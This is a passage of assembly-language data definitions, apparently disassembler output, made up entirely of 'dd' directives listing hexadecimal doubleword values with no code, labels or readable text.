		dd 41D6C4D3h, 21C0B926h, 990048CEh, 3ADF0630h, 0EF80BAh
		dd 0C6D10742h, 0A25EFD95h, 4B9E3500h, 38150D53h, 544A0025h
		dd 7FE3A9D6h, 0F3002C67h, 0E1B3CFF6h, 0A2FD6Ch,	0C2A0DB7Bh
		dd 3CAA75CBh, 4D77EC00h
		dd 0F0961E4Ch, 5EF33E33h, 0EA7CA1Fh, 9A00F255h,	1AF6ADFBh
		dd 0AFE6A000h, 0A70CCEB3h, 7E9F70B8h, 0B80F828h, 30BC330Bh
		dd 11560B07h, 0C8AB2D10h, 8400E17Dh, 3A2A5D6Eh,	70AC1D1h
		dd 67C48E4Eh, 0DF21E3ACh, 7B86609Fh, 0FE002A81h, 0D494AEA8h
		dd 0ECE5B23h, 5D47AA74h, 56782D60h, 0CD00BF7Fh,	1EE4D991h
		dd 902C37Bh, 50D62166h,	7C265480h, 200F0AB4h, 40BFD833h
		dd 2707A115h, 70DC03C2h, 0A28B2A9Bh, 670005B2h,	12EF68C5h
		dd 0B72660h, 0D66D084Ch, 0B93842EBh, 6500F5C2h,	3FADBCFFh
		dd 468A6Ah, 88628E6Bh, 7DF36D4Ah, 5C0182F2h, 0D9CD7189h
		dd 543087FDh, 77F6004Fh, 0DA8661D4h, 4E0075E1h,	0B0DF5A31h
		dd 27DB491h, 69F640E4h,	4060F0CFh, 0B37E7990h, 98D98700h
		dd 45B5F974h, 0EB7D0CEDh, 0BC09F2Ch, 7A413200h,	3351809Ch
		dd 0BAD83ED1h, 0D2A83C00h, 40AD9137h, 213220CEh, 1FF95214h
		dd 0FC2430h, 0F5155C06h, 886F40F0h, 2F433B01h, 17C68D4h
		dd 0F306C026h, 486BBE81h, 0D4F43700h, 3C4474E7h, 543F00A1h
		dd 0DF3BB41Ah, 650329F0h, 0AA250F8Eh, 7CA0F0D1h, 0EC390E50h
		dd 0DA209B8Ah, 0BDEDFA91h, 8F533200h, 0A4A6AE2Eh, 0B442002Fh
		dd 0C094699Bh, 230743EEh, 0A7194B03h, 88C033C4h, 273977h
		dd 824137FAh, 0AFE8710Bh, 167F7C00h, 8FE2E7ECh,	0F351014Bh
		dd 6C8C9808h, 2FCD3047h, 37B24C00h, 413E2BFDh, 0BC550097h
		dd 85431BEh, 0F800F2C3h, 0ECE90650h, 18A1184h, 0A8C27A1Bh
		dd 8EF50D69h, 7603E20h,	4E914018h, 0D3F446F0h, 67EEA072h
		dd 0E4F41935h, 71FBCC6Bh, 9693F850h, 91FA6003h,	0DA715FC0h
		dd 0A7540B7h, 57CC3B5Bh, 0FBFCE880h, 5AB6F8D2h,	0D0122526h
		dd 6A0ED980h, 7E6AC35h,	0E1206234h, 52C24047h, 0F90B3848h
		dd 8565B5ABh, 50D08490h, 7E4DEBA4h, 43FC0063h, 0F0641AC9h
		dd 0E9009956h, 0E7A42327h, 0A9CEE4h, 5E4C108Ch,	0A8CC373Ah
		dd 80C9733Fh, 987D1258h, 27FF8C5h, 40657690h, 6DE0D9AAh
		dd 1F00DAEEh, 6B500CA0h, 0EF9647Dh, 68994269h, 7F19C0C0h
		dd 0A807F886h, 0CEFC049Eh, 975B0740h, 50B40049h, 0DB40753Dh
		dd 5E00F7F0h, 0CB4E4D1Ah, 0E06A71D5h, 6D7783h, 4EE1FA6h
		dd 341D75BCh, 0FBBB6003h, 98089894h, 7A9C841Eh,	487807B3h
		dd 508FABDDh, 0A2E66503h, 1FC80E00h, 7E570AFCh,	0C0A86069h
		dd 0F2ED2A1Ah, 0B2CC0600h, 604DC8CAh, 9C67002Eh, 0AEEEC96Dh
		dd 43008CA2h, 0C22A08C7h, 0A14945h, 69739972h, 2BF15C77h
		dd 270E0579h, 40C12E1Eh, 7FA9F70Eh, 47100A1Ah, 0F8E7A1h
		dd 45032288h, 11DDFB2Fh, 382A1E40h, 7594F217h, 3E017682h
		dd 13009E4Ah, 9141235Ah, 8C18803Ah, 92C0C511h, 357FC32h
		dd 0B590E122h, 18767737h, 19336C3Ch, 7411C4B9h,	0B09CDBE0h
		dd 2DA7000Eh, 2390E5Ah,	66389FE4h, 56868011h, 0CAD341F3h
		dd 2160CE34h, 8C3741B9h, 11C09E81h, 3F351FC2h, 0BA0AC020h
		dd 6680AEF3h, 85E64CA1h, 84B70870h, 9D37F00Fh, 0C98020C0h
		dd 2D3C0Ah, 0BD347DF4h,	0D217D8EAh, 0A307C800h,	92FFC7F6h
		dd 2A510123h, 0B6A08D53h, 951A200Bh, 0A6E6CF00h, 779B2821h
		dd 0A87A2496h, 481E015Fh, 0F80D8B1Ah, 0A40F6936h, 8CE2E50Ah
		dd 281D9110h, 0C36C12BEh, 0C8333A90h, 967100Ch,	1980EEh
		dd 0FD366A75h, 0CDC6F24Fh, 4B3A2C01h, 67C7DCA5h, 299F0F21h
		dd 0C922A229h, 112742EFh, 3D2105FFh, 0CC166204h, 17422308h
		dd 401124FBh, 14E9B88Eh, 95BB01E3h, 0AD248A60h,	6E2060F8h
		dd 23006171h, 629AE2DBh, 4F60E48h, 1D70AAD1h, 0ED0D80EEh
		dd 200F81Bh, 0DE668363h, 0EFAE15h, 0F893F3Eh, 1B2FC0C3h
		dd 36449300h, 98804B79h, 611003FCh, 6651FF16h, 9476D90h
		dd 82A4ECA0h, 0DC0BB1E0h, 2FCA03h, 495468A6h, 0FAD4CC3h
		dd 0E595C00h, 0E6A195A9h, 20939C01h, 25C6860Bh,	1BE54880h
		dd 0B37F9BD3h, 802C7800h, 83092E73h, 3C1F0CBh, 1210601Eh
		dd 98DB6E16h, 0E7388E63h, 28A1A80Dh, 5EB70002h,	83EEE192h
		dd 9AE68CD6h, 0C87C0100h, 8BD3D05Ch, 0FFD800F2h, 31EA408Fh
		dd 421DC923h, 0CAC006B5h, 0D03854DEh, 0CF9B3C9Ah, 67292A80h
		dd 127269B8h, 6A935D00h, 4BA9204Ah, 61570039h, 0D2456F8h
		dd 0DB071B73h, 0B0D36D16h, 0D8B738D3h, 40F63Fh,	6F28ECAEh
		dd 0F3E84394h, 40098FEh, 0CA3D2EFBh, 69B62Bh, 123BD03Ch
		dd 0E90E5497h, 4C803213h, 40ACE80Fh, 3E1193DBh,	0A02D0061h
		dd 0EC70472Ah, 0AF0EB4D5h, 6650CFh, 385543C7h, 64F1091Ah
		dd 0A400BD89h, 50CBEA1Fh, 12FC8B1Eh, 55BC5E00h,	5CD3F9Fh
		dd 0C1A80EA7h, 0A2D0C094h, 7000E1EFh, 49F12E18h, 7177E5Dh
		dd 0E9EE9E28h, 0C7F9D0E7h, 3588937h, 7C5A00CDh,	9DF8792Ch
		dd 488A726Fh, 6C00D590h, 0A7DA4CC9h, 809D778h, 0FE3130h
		dd 0F6AF0B45h, 8D730089h, 0FB4D957Ch, 0BEECCD4Fh, 4A9A7700h
		dd 43713C13h, 0F481009Fh, 6CB6CF28h, 7200E467h,	0B1299502h
		dd 0C3A9Eh, 3CC09CD8h, 1DD14ED6h, 0F6018C00h, 28DFC199h
		dd 0F05A0085h, 0FFE27754h, 0F107ACD8h, 1360383h, 7BDA9AE0h
		dd 38D10079h, 0FA95FBE6h, 5507A5C1h, 0E033B217h, 0DA9EAF0h
		dd 0FC801C52h, 0CC68001Bh, 0A014020Bh, 15DB9F18h, 0ED4140h
		dd 8997AAF4h, 5B0DAB99h, 8B082800h, 69749184h, 0C1B10170h
		dd 0A989CAE8h, 7E34E880h, 760FC473h, 0A0687525h, 0CE6B7B06h
		dd 1CA40735h, 705EF202h, 3C10ABDh, 0B50095E8h, 0CBD8428Dh
		dd 1DABF6Bh, 0E1EA9B5Fh, 404C75D6h, 0CF732999h,	1F217F1Fh
		dd 4815D780h, 3E959E5h,	2B5F6BB5h, 9AB0B123h, 501F685Ah
		dd 99407EBCh, 801073EDh, 0F3E50052h, 0C6F48B22h, 38006C9Bh
		dd 0CE561A88h, 90F6D07Ah, 981E0000h, 0A058DE95h, 3C63D1B4h
		dd 0A8CBB278h, 0F4174A02h, 0C867AC4h, 3B7BACBEh, 4338DA20h
		dd 34767CABh, 17267F71h, 6B033B50h, 0A42F62D8h,	0E6BB36C0h
		dd 2A92008Fh, 1C891F58h, 9A606DB1h, 9C78A930h, 0B2D70012h
		dd 0CA0AB47Dh, 0F69888EEh, 0F37D00Ch, 1BA11D4h,	921566B6h
		dd 0ECEC2FF9h, 0E91D78D0h, 2D8E6AE4h, 9C0D2AF1h, 55AC3F17h
		dd 2A82F501h, 0FCD8F96Bh, 0EE07C128h, 0E2B8C846h, 84801DA4h
		dd 1C58F4B7h, 0DB735Ah,	0ACC249A6h, 93F4D8Eh, 0BD36808Dh
		dd 0E0342B9Fh, 917264h,	521D2B6h, 2A0F9D3Eh, 0B479F900h
		dd 0E570923h, 0B1121455h, 0E1009010h, 48FEBDEBh, 0D9004ECFh
		dd 569FCB1Fh, 3F7AD60h,	0F2D85B83h, 28000A3Dh, 0C4B773D0h
		dd 5E63B5h, 0D955958Ah,	1F51724Ch, 0FC717800h, 94E3B3AFh
		dd 6B7A0525h, 33140h, 0C374AAF5h, 0E4001E2Eh, 0B8E28158h
		dd 90BFBBh, 43108927h, 375357B5h, 0C19DCA00h, 19411E52h
		dd 17930009h, 0EADBA1B6h, 983FB2BDh, 0A3468082h, 0B6F57FBh
		dd 0CD4100BCh, 9F792619h, 0F600183Dh, 0BE2DC854h, 76736Dh
		dd 0ED6BA44Bh, 4FCFF226h, 0D41B770Fh, 9907005Fh, 0E6B551DCh
		dd 0A23F00E9h, 2ECA8248h, 0D9002966h, 0E652796Dh, 3E93F0h
		dd 0DA11D769h, 0D2F8E813h, 673D6876h, 624B00D4h, 0DB0D6050h
		dd 94EE00CEh, 9F46495Eh, 0F43BF0D9h, 235F2E93h,	7CA51407h
		dd 752D3EC0h, 7DE50A63h, 0C887A2h, 3CCA1B11h, 78C0DC5Bh
		dd 173E66B7h, 61D92626h, 86C0838Ch, 0A6F09BC4h,	5300EEC3h
		dd 0C921F6F0h, 0B957C7h, 987DABB8h, 393F2E6Bh, 2DBB9100h
		dd 5BF2E17Bh, 0EF211499h
		dd 94A03C07h, 0A40E2FD5h, 0CE5D9140h, 0F54500E1h, 2CFF0EB7h
		dd 0A2133Bh, 0EE77A2E0h, 3D1D707Dh, 9A00D565h, 0CFDDE286h
		dd 0F07B0073h, 98AEA35h, 14009F28h, 0EC50F920h,	4CF33DB0h
		dd 5A0E602Eh, 0B7661F5Ch, 900102Fh, 0F7297863h,	594833h
		dd 9328ACB6h, 71E7C88h,	0C054A21Eh, 534F811Ch, 8749F833h
		dd 116017Fh, 72645B5Dh,	0D247E01Bh, 44F70B1Fh, 0F992480h
		dd 0F0683D7h, 4BAFDDC3h, 0E220FCE0h, 7604CAC8h,	0F73C015Bh
		dd 94FFA0C0h, 0C5B00E55h, 5F00FD3Eh, 8A98BD86h,	0E1D14102h
		dd 60901ECDh, 2AFB48h, 7AD39257h, 0EB06589Ch, 0FA47C100h
		dd 177CA71Ah, 29E603E5h, 6D535D60h, 35E62D0h, 0E786E400h
		dd 7EA6999Bh, 4BF2386Eh, 5889BB0Eh, 31F17C20h, 9E4826EFh
		dd 2D85009Bh, 3811D5A2h, 4478C092h, 4247605h, 0C089CD1Fh
		dd 0E03A260Bh, 13731Ah,	0AFB5D26Ah, 4CAD61B2h, 93648F16h
		dd 9CC0541Dh, 9D3B5431h, 87AC00B1h, 0B2BCFD23h,	0F0419DDh
		dd 3E7D3769h, 7F5D0880h, 1DE20751h, 0B0E16A86h,	5F4DF232h
		dd 76E84000h, 2A733B0Ch, 0D9D63C53h, 0CD57993h,	0BF700604h
		dd 22000F77h, 818D90A3h, 0C0D136E8h, 63FD95A0h,	0D2611421h
		dd 4F89F310h, 4CAAD6F4h, 870B4081h, 0E181066Eh,	0C76DC222h
		dd 0E2ECBB0h, 0D63DC674h, 178E8045h, 0BFFD0F4h,	1470E5Ah
		dd 0BE817BA4h, 0F5BBDE74h, 26F46065h, 0D23A3F00h, 0FC39FD1h
		dd 0BE840081h, 0C5D7D585h, 0F40001EDh, 99E391E7h, 0C3D83Eh
		dd 0BD52072Bh, 14D610DBh, 151D8A00h, 90426EF5h,	110903B2h
		dd 0C4F660F1h, 2BC87598h, 297BB70Eh, 0D2740007h, 7EC8A3Ah
		dd 5B4B2E20h, 0F6FB61C3h, 0DC6421CFh, 0A1287A8Bh, 5700F701h
		dd 1B3FDAB0h, 0F5D9294h, 0BB14A93Dh, 4C800CA9h,	0B65FA82Ch
		dd 0AD9E381Dh, 74640E7Eh, 0CE280019h, 3A2178D2h, 0DD8F2C4Bh
		dd 0B760FBDBh, 22332BE7h, 0F69F7000h, 6F1D9BC0h, 18710023h
		dd 8799BAC6h, 0EB003C41h, 90B805D5h, 0EC9452E4h, 4A2300F7h
		dd 0AD718F80h, 0C01E11EDh, 7C000192h, 70654F73h, 806213E4h
		dd 80811FFBh, 7FAA2C57h, 950090FAh, 4E7E8CB6h, 372C23Ah
		dd 59D21A4Ch, 0F7F0EB08h, 5D07D9A3h, 0FA6F659Ah, 21EFAF10h
		dd 22A41EABh, 5B8740B5h, 2785FCF6h, 7B6FB10Bh, 0C06080F8h
		dd 5E4B8E7h, 6B0244C9h,	61B4804Ch, 7E3FD659h, 623F82FEh
		dd 6055C1E8h, 1A89DFh, 0D4AACA78h, 659EBF59h, 8AEB710Fh
		dd 62AFC27Dh, 0C57040ACh, 0C97B58h, 9958E86h, 0FBCCD648h
		dd 13358807h, 0BAC01814h, 0C74E7Bh, 5B09D020h, 9EEDAF1Eh
		dd 1401877Dh, 0FA629210h, 50E48436h, 0E7940040h, 180E77FCh
		dd 7E00BFD1h, 1619A381h, 1F14D706h, 54EB1Fh, 9BAE2C6Ah
		dd 0D6079EBBh, 0DFFBC568h, 0ACBC5BF0h, 42070064h, 90919F43h
		dd 0D2011114h, 368FF6BFh, 0F64010B2h, 4C4BD151h, 0B10080EBh
		dd 7D957816h, 850E56ABh, 0E11FADDEh, 585B9AC4h,	108420h
		dd 0F7C65C25h, 0E98C86EFh, 0DE661A18h, 0A54940h, 0C7FFA077h
		dd 566A2005h, 845AE3Ah,	3284823h, 0FEBC8C3Eh, 80005997h
		dd 8AA030B5h, 90C5DD50h, 84235A03h, 7BDE5B91h, 18CFCC8h
		dd 86A0A74Ah, 0E816D8D3h, 0B9008495h, 7109B8C5h, 48E74BB2h
		dd 0F10F5B82h, 6D40EB80h, 0C33A680Fh, 4D786E07h, 0DD1008E7h
		dd 74EC9Bh, 0D27CE44Ah,	9A1F4660h, 0EB0031E0h, 207276Bh
		dd 0A029D85Ch, 0F264AD7h, 8CD4132Bh, 3F5ACB00h,	0C4F679FFh
		dd 4CAEB00h, 75D10EC3h,	553C00B0h, 77940CFBh, 6900906Fh
		dd 6DA6C414h, 24D2E89Dh, 248ABBh, 0A9971634h, 771C3D46h
		dd 7C40B306h, 30D04185h, 4780047h, 5534FF7Dh, 0F0A043DCh
		dd 3E00B348h, 0C1ED7750h, 7B0C4DA6h, 0FDB402F1h, 0EFB247D4h
		dd 406AEB61h, 7577DD9Bh, 425E0F07h, 0B560F176h,	22D197h
		dd 2606D56Bh, 341B6677h, 0D601FDE4h, 86084FD2h,	73D08260h
		dd 0B9D30067h, 0AD1393CEh, 0B803F936h, 231A6D35h, 0D05BD04Dh
		dd 0F67298D8h, 0A8E218h, 0B2764F4h, 0F86C5F98h,	0A9004FFEh
		dd 334AAC84h, 1C9B6645h, 8144558Eh, 0D3E498B8h,	6DDFE8EDh
		dd 1137A600h, 0FF3A1617h, 81223E42h, 0DD7F2980h, 0D3DA4808h
		dd 1F87CF07h, 6F10832Ah, 7175D7h, 47AB7FE5h, 4F2C76F3h
		dd 42D10D0Fh, 238140B6h, 175BBE29h, 2830C8h, 142A5DC4h
		dd 6107FAD6h, 8E3F9A7Fh, 0FBEE1B30h, 432C00B8h,	391F900Bh
		dd 9EEEC6DDh, 9C3A5790h, 0A44580B9h, 0D618A12h,	0CE0702C0h
		dd 0C7B80FB7h, 6C9AC60h, 0A59FCD00h, 59F46D2Dh,	8CDE0005h
		dd 7D01F940h, 0FB00E9CCh, 5CC72A9Bh, 3934D50h, 182E462Dh
		dd 7AC8D7CBh, 2C3C2766h, 3BA8000Fh, 74AFF20Ah, 9E2A0752h
		dd 0E0910ED8h, 4D8485DAh, 6EE9AB00h, 0B8898066h, 0DB0200A0h
		dd 15E8ED62h, 7600B68Dh, 61B4E507h, 0C9BDC5h, 0C4CD03BEh
		dd 249D80FFh, 0A6378C03h, 0B80215E2h, 0B399AAh,	0FBDAEB27h
		dd 4B5D899Fh, 943DB81Fh, 65A74CC0h, 62CC40h, 0DF97177Eh
		dd 397BA1ADh, 0F364A31Dh, 0ACB2A640h, 39171274h, 0D13A8DDDh
		dd 815CAE83h, 77A0B1EBh, 400824Ch, 0C7859899h, 0E0A544h
		dd 4215AAF1h, 16A619B8h, 0F30BAF76h, 81663AFBh,	0EB571166h
		dd 94ECE0h, 7FBDA656h, 0C8938DA1h, 40320FAh, 0FDBB559Eh
		dd 0DE2801E4h, 83C1CEFFh, 0E187044h, 0BA3648h, 16433C24h
		dd 14769BFh, 7A53CA19h,	80BCF5E9h, 0D25A4468h, 7404501Eh
		dd 496F0126h, 8DE3C829h, 1D5CD873h, 0D2B5A000h,	0B2958016h
		dd 531B00CEh, 8918BEFBh, 5B0EC8B3h, 6799D205h, 28B1C34Eh
		dd 0FC70FE80h, 0EC511DF9h, 0D2DC809Dh, 6497B6Ah, 0D143F407h
		dd 3F013E2h, 0E2E69D14h, 0F671DB9h, 53000C2h, 427A91BCh
		dd 6F265A00h, 3074CD2h,	0C8DE021Dh, 0F1EB40ABh,	3781C6E3h
		dd 0C326EC2Dh, 0E156A33Ch, 0D1D85751h, 707A20h,	0C7F10563h
		dd 0CA83E4EAh, 610E85E4h, 60900C52h, 0F0FC6716h, 3C20008Ah
		dd 6D5CE8FFh, 0E7F07FDDh, 449E7412h, 0B49CC100h, 3EF701C0h
		dd 0DD80AAC4h, 1317BF70h, 0E309A796h, 9CC629h, 0DAF325C0h
		dd 64EF00A4h, 785294FAh, 4402875Ah, 7DA8CA99h, 3C3840F9h
		dd 3F3D1CC2h, 24DD8096h, 3B14261Bh, 0BA00827Ah,	12301629h
		dd 16BE53Dh, 6DB151EEh,	7F7FB647h, 0FF91E0h, 6CD7184h
		dd 2C338520h, 343FA92Eh, 526B9F04h, 0D7083E00h,	6F00597Eh
		dd 164A5321h, 0ED04CBCh, 9F0C6991h, 0CE51A0E0h,	4301217Bh
		dd 245A72FDh, 0E341B454h, 0F460E730h, 15D3008Fh, 0CA02BB76h
		dd 0F6EAF755h, 2337B400h, 0D58735BAh, 2DD93C9Fh, 3391EB80h
		dd 0B671F053h, 7B347500h, 2845D20Eh, 0B21800D9h, 0D3BA562Eh
		dd 0B300831Ah, 123EA6BDh, 5D27CAh, 0B961CE06h, 8A08AC33h
		dd 0AE7C1500h, 0B003246Fh, 8E98006Bh, 0BAE5FAB8h, 9401ED11h
		dd 95F18B81h, 0D67039BDh, 0DA850080h, 4E63FB10h, 0D30E83B7h
		dd 1D66DDCh, 0B372B51Bh, 0BDCFF4h, 52FA4055h, 0A782CD2Dh
		dd 0F8CC9A00h, 698C285Bh, 42A300A9h, 924BB3ECh,	953A4F74h
		dd 7A648083h, 0D26B86E3h, 8BE1C79h, 0EE2080F1h,	815A80DCh
		dd 254B5800h, 0EFFEB4DDh, 3E660076h, 0C2B8FC42h, 9E03565Ch
		dd 1C65BB8Ch, 8500F95h,	60831EA5h, 0FD98C4B5h, 863EAD01h
		dd 1102800Bh, 3FEDCDAh,	647751h, 1B7EEC0Fh, 315AAA91h
		dd 0FD246200h, 75C98D69h, 0B9F902F3h, 144EA0CBh, 0BAF6E6E0h
		dd 23D08000h, 775A2E5Bh
		dd 5FE71E65h, 0E8C5FA2h, 40DE7205h, 0DD9428C2h,	3700AC8Eh
		dd 65CFD9D5h, 0CDFA0Eh,	39556A1Ah, 3252B91Fh, 0A681A001h
		dd 7D034EA5h, 3E0953CCh, 77801ECFh, 97386CCBh, 890E076Fh
		dd 20FD7C8Bh, 58F0E435h, 0A6F309E9h, 5C80E7F6h,	445D1DB6h
		dd 2A6B8803h, 80285405h, 0A77130h, 0B025329Ch, 1DCFFDC4h
		dd 8C57312h, 0B8181423h, 0E47EADh, 52FFB824h, 651BACD4h
		dd 0C087D500h, 2AF9817Ah, 717B009Fh, 252247A9h,	68010394h
		dd 0EAA18DCCh, 0A080C088h, 57F74199h, 0FB38DBD0h, 650B075Bh
		dd 82FED96Ch, 0D8C5E23Ah, 9F91000Ch, 884EA290h,	7F3C8364h
		dd 0E8A72EF9h, 0CE26F780h, 42AC16h, 6843B2E0h, 37EF1566h
		dd 0BB814F0Bh, 0E9968051h, 0F7EA3877h, 98002961h, 981FA69Fh
		dd 72560044h, 0F70A0539h, 0E499E65h, 54D399Ch, 5CCDC733h
		dd 0F13E0DC0h, 0FC8E4BBh, 396AE159h, 2BF7B5C1h,	0D081F5C3h
		dd 3C001964h, 6794FE34h, 0E40B12B8h, 7FED0233h,	92F435CBh
		dd 0CD9E1660h, 26FC5700h, 401BD7B1h, 0B2803E52h, 0C7E7C380h
		dd 3D6E917Ch, 4E002D7Fh, 3276A1FEh, 0F44607FFh,	0FA8F986Ah
		dd 2F753Ah, 89F33979h, 0C3FE6469h, 0F4B40E13h, 0E868DC23h
		dd 7DCADC6h, 0D9C1B2CFh, 25B1104Bh, 9B0F32A8h, 7F4C8A72h
		dd 16C3DC1Eh, 916B451Ah, 2631B093h, 9CDE160h, 0E8CB29C5h
		dd 324E4C80h, 1C009DE0h, 0AAF687B1h, 3D1B41Fh, 1A9C98FCh
		dd 28015A24h, 72889783h, 0E440FE11h, 71E56334h,	13261269h
		dd 2088C33Bh, 0F88D33B0h, 65AB5107h, 0B00010B7h, 6DDACDh
		dd 0F2D66B8Fh, 0AA06150Bh, 9F28F809h, 7B8E808h,	13450774h
		dd 0F1D366C1h, 0DD879819h, 1661EC9Ch, 24762F2Eh, 0B7DD9900h
		dd 7A29B368h, 0F68600CCh, 0EC25E4FBh, 0E85D91FFh, 0FC632738h
		dd 290801B4h, 3264FBD9h, 0FBA0094h, 814AAA33h, 93BB1E75h
		dd 3D2D691h, 5C59C467h,	42D34000h, 9D83878Fh, 9E4D0F22h
		dd 0ABC7BF2Ch, 0AFE1AF9Ah, 0FC468D2Eh, 4D1FB95Bh, 6D0026CCh
		dd 25AB582h, 899A2D06h,	0C9206C0Eh, 75AA1432h, 545FD514h
		dd 0D2600098h, 0C2A73D77h, 0BF59007Dh, 71D78C56h, 330097FCh
		dd 49C4B6A2h, 3DEAD190h, 0FD02F6EDh, 0A330BF4Eh, 34D890CBh
		dd 7100C1A6h, 0C432C0F3h, 0BFD9043Ah, 0D2705F80h, 8D00750Bh
		dd 59A11192h, 1F396C87h, 0C0937668h, 0A2F2D3F9h, 0B4B85875h
		dd 5AB0CBE8h, 66156313h, 0C01BAA0Fh, 4B010978h,	0AC670079h
		dd 38A7B472h, 66000E8Ch, 582CF1DAh, 288EE015h, 3C8331Ah
		dd 6AD151ABh, 0E81F8FE7h, 1349C9B2h, 101081FDh,	513084CFh
		dd 0E170F7Fh, 7001D76Bh, 7CF0C718h, 79B500B4h, 0F8738A27h
		dd 836928DDh, 0F64A50A4h, 8801094Dh, 3C20415Dh,	2A20F2ECh
		dd 0CAE8D600h, 5A8F6B07h, 292B02A1h, 0BECE9E60h, 2EC414C0h
		dd 54CD0D1Eh, 71DA06C5h, 19EF8F00h, 4903ABh, 849C7FF0h
		dd 10739022h, 8A0024EAh, 88934D43h, 77A6F6BEh, 8D6B0081h
		dd 2205A0E1h, 0CB000BC1h, 3B4B908Bh, 0BA4BEB0h,	2723A9FDh
		dd 1ABB5F00h, 5703B85Fh, 856B54FBh, 379580F6h, 7B7200CEh
		dd 65DA36FDh, 0E6012B3Dh, 41DF9E93h, 5BE4D618h,	72EA00C5h
		dd 6861606Ch, 0FF07C6B7h, 0BDF04571h, 918ED7B9h, 82B9860h
		dd 0A8A09504h, 5300E7EFh, 86840F50h, 1388DE19h,	1EEA5238h
		dd 0FB900035h, 28C95060h, 6B78C300h, 9A4BDBB8h,	9572CEh
		dd 0C4ADE04Fh, 5C6722A2h, 370FD907h, 877071DBh,	33DCF977h
		dd 6D481B68h, 3DB2E4F3h, 0E4675AC1h, 6F009623h,	0BCDEE3ADh
		dd 0A07233h, 63750476h,	798754C4h, 7FFA2E04h, 1C0308Bh
		dd 3060D645h, 9C1137A7h, 0A63AEDB9h, 34F680F7h,	8953EB36h
		dd 5E2D008Fh, 74AADAA2h, 0BA008716h, 34C06E1Eh,	71ACF3Dh
		dd 3733E8F3h, 81C2E0BCh, 90165D0h, 0F7AD6A31h, 9478CD3Fh
		dd 847D7700h, 9D33BEB2h, 4A4D60Fh, 0F1DF8072h, 97E3B3h
		dd 8DD81EBCh, 0C24F83Ch, 0D941EB0Ch, 0E696A04Ch, 3EC901BAh
		dd 6BECFE2h, 0CED3CCEFh, 0D1F15C00h, 0B276BB5Bh, 0BFBFC10h
		dd 155F6157h, 87F5D820h, 33008B59h, 94F4CD79h, 0FE3666h
		dd 8A09A950h, 77BBA49h,	6A37502h, 0E04EEF04h, 5929964h
		dd 7C94B505h, 64E0006Dh, 0A7E42E47h, 7FEBEF01h,	2D88165Dh
		dd 0A07C3C38h, 73C1759Dh, 0B0300059h, 215279D7h, 4200287Fh
		dd 80B6740Bh, 6D33Eh, 5002F0FEh, 93A7334Bh, 0B05C280Ch
		dd 34022h, 5F174F4Eh, 1FA2CFA6h, 0D9C56D00h, 0D371A0EFh
		dd 3FDB1DBBh, 5088B0F5h, 0AB00B140h, 72C93DCBh,	49757Fh
		dd 0BDB08C89h, 0B29AFF4Ch, 0E10E2FEEh, 2FE35668h, 0A5E96065h
		dd 1E612EBh, 6CE4C1EEh,	0E086F25Fh, 180EEFB7h, 0C0D00FCEh
		dd 0D7892B03h, 0C7AB0028h, 0D5634226h, 3800C2A8h, 23F091FBh
		dd 0BE22088h, 0DAF3355Eh, 90A82707h, 9FD9F440h,	0F8E14100h
		dd 92C012FEh, 453003F5h, 0CC407072h, 804457E9h,	984A3620h
		dd 0BE9585h, 6F479BABh,	0DEF0085Dh, 0FA28B3Ch, 80D2B318h
		dd 0D6C1BCD0h, 0F8E500B1h, 0BE22FAA3h, 2D00E42Ah, 9EF08F8Dh
		dd 18B210h, 0FF6B4CEBh,	0F16C34A3h, 0BCE7E300h,	567D842Eh
		dd 3B0BE83Dh, 0E000FC5Bh, 5094C821h, 9E244558h,	150F3DF7h
		dd 98AD80DBh, 2887F2A3h, 0D7BF1Ah, 515E9C5Dh, 5C068E38h
		dd 0B8DB0300h, 0DE854D35h, 0B2A32676h, 0B39A00C3h, 895ABD63h
		dd 0D5184C07h, 0FE009E85h, 3C229223h, 6880463Eh, 8DD456F3h
		dd 30011182h, 706CD0DEh, 2DCD997Fh, 660ED20h, 508658Ch
		dd 0E70280C8h, 482EB2B8h, 12F060D8h, 924704DAh,	0C0848FDCh
		dd 0EC577DCh, 0A33D9900h, 43F06DC2h, 873200BBh,	37390FBCh
		dd 350B1918h, 7F84E5h, 261A3FF6h, 0F6A31F14h, 7DEE00A4h
		dd 8D4DF002h, 0B5D070E7h, 49748B00h, 0A7132D47h, 7EFD03D9h
		dd 0CA1C1022h, 0FC027CF0h, 0BB861E01h, 0D10EF1D2h, 5791E4h
		dd 1AD62D6h, 36156F0Ah,	0A69A9200h, 2FBD6EFEh, 0D9714860h
		dd 1D7C7048h, 80B952E4h, 8132AB7Dh, 3A0051E2h, 8BE68A84h
		dd 0D3A2D8h, 679DFE30h,	0DC0E221Ah, 326C4A1Fh, 9AE2B6C0h
		dd 957A0ABh, 52DD5A4Bh,	31940CC9h, 0C68A6008h, 84C88E3Dh
		dd 46D92844h, 0B90098B9h, 9893F4EBh, 4E3D0492h,	0E0119F24h
		dd 49C87C00h, 0D7753Dh,	0CC9CD8D4h, 0C3C9FD16h,	503B5B05h
		dd 78C085ACh, 739F6E82h, 38AF00DAh, 2044E78Dh, 0F30557E0h
		dd 0AE9D4B6h, 6F1AC0C0h, 18760099h, 0C08D69DBh,	0D200E85Ch
		dd 0F192EA3h, 163256Dh,	9C78EEEDh, 0DC962271h, 94068673h
		dd 979A5889h, 12BF2E10h, 90003CCFh, 0A06F6C64h,	91095651h
		dd 2899DEh, 2B331E82h, 0FEBA1D9Ch, 7A1C40A4h, 6A61F412h
		dd 39184F00h, 0E0E842ABh, 2A8C0088h, 17533A72h,	0CCB82538h
		dd 9CF88A00h, 0ABCFAABCh, 8B7112F1h, 8071000Ch,	41B85E15h
		dd 0AACB7C00h, 9031CF62h, 0D8370754h, 40FA309Ah, 0EEB0C7A1h
		dd 65245A00h, 0F5FD6841h, 57B0E59h, 0A34F3639h,	37E85540h
		dd 600C57Ah, 642A4624h,	2B6F1Dh, 5CBEEE01h, 0F131633Bh
		dd 76AC61Dh, 84F60880h,	0C1A78Bh, 98B54325h, 0E79FBE94h
		dd 72B2F138h, 0ABF23700h, 0CAE52EDDh, 98CE4893h, 2F43C2Ch
		dd 6743BDB7h, 4095247Ah, 78366CCFh, 0A5EC00A6h,	998FF108h
		dd 0D008873h, 7D09491Ch, 0B6F587h, 0E1201B0Fh, 0C2A450CDh
		dd 0FBEDBC03h, 8161DFh,	34E3F292h, 5C3CCAFEh, 19D0C40Ch
		dd 1D2A3C9Ah, 400A7662h
		dd 3ECA8FD9h, 98995F4Ch, 26EC9814h, 7C406C2Dh, 777BF355h
		dd 41A8BE6Bh, 0EC6AB152h, 41006419h, 0A7719185h, 5FE32E0h
